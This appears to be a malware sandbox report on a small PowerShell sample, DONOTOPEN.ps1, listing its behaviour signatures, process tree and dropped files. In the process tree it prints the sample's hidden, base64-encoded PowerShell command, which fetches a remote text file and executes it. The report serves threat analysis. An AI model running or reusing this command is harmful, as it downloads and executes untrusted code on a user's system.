Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    09/08/2026, 23:08

General

  • Target
    DONOTOPEN.ps1
  • Size 229B
  • Sample260809-24kfwser91
  • SHA256 e61f352f460aa82e9b3e7ae6ac924a2959e6e08b3449331e5acba9f8c31e3f0a
  • MD5 SHA1 SHA512 TLSH
Score
3/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\DONOTOPEN.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4352
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" start powershell -wi hi "-E LgAoACgAWwBzAHQAcgBpAG4AZwBdACQAZQBuAHYAOgBBAFAAUAA/AD8APwA/ACkAWwAtADMAXQArACcAZQB4ACcAKQAoAGkAcgBtACAAZwBmADUAMwAuAHAAYQBnAGUAcwAuAGQAZQB2AC8AZwAyAC4AdAB4AHQAKQA="
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3208
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:5052
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k LocalService -p -s fdPHost
      1⤵
        PID:852

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 2KB
            • SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 944B
            • SHA256 1b508c6beaa65e0936d9b64f352c2fb87392666d3a96e6e67cb2ba162302b6c6
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_230zbr4p.sej.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_230zbr4p.sej.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            memory/3208-10-0x000001A7FDF80000-0x000001A7FDF90000-memory.dmp

            memory/3208-11-0x000001A7FDF80000-0x000001A7FDF90000-memory.dmp

            memory/3208-19-0x000001A7FDF80000-0x000001A7FDF90000-memory.dmp

            memory/3208-22-0x000001A798420000-0x000001A79858A000-memory.dmp

            memory/4352-1-0x00000268E9010000-0x00000268E9020000-memory.dmp

            memory/4352-0-0x00000268E9010000-0x00000268E9020000-memory.dmp

            memory/4352-9-0x00000268EB290000-0x00000268EB2B2000-memory.dmp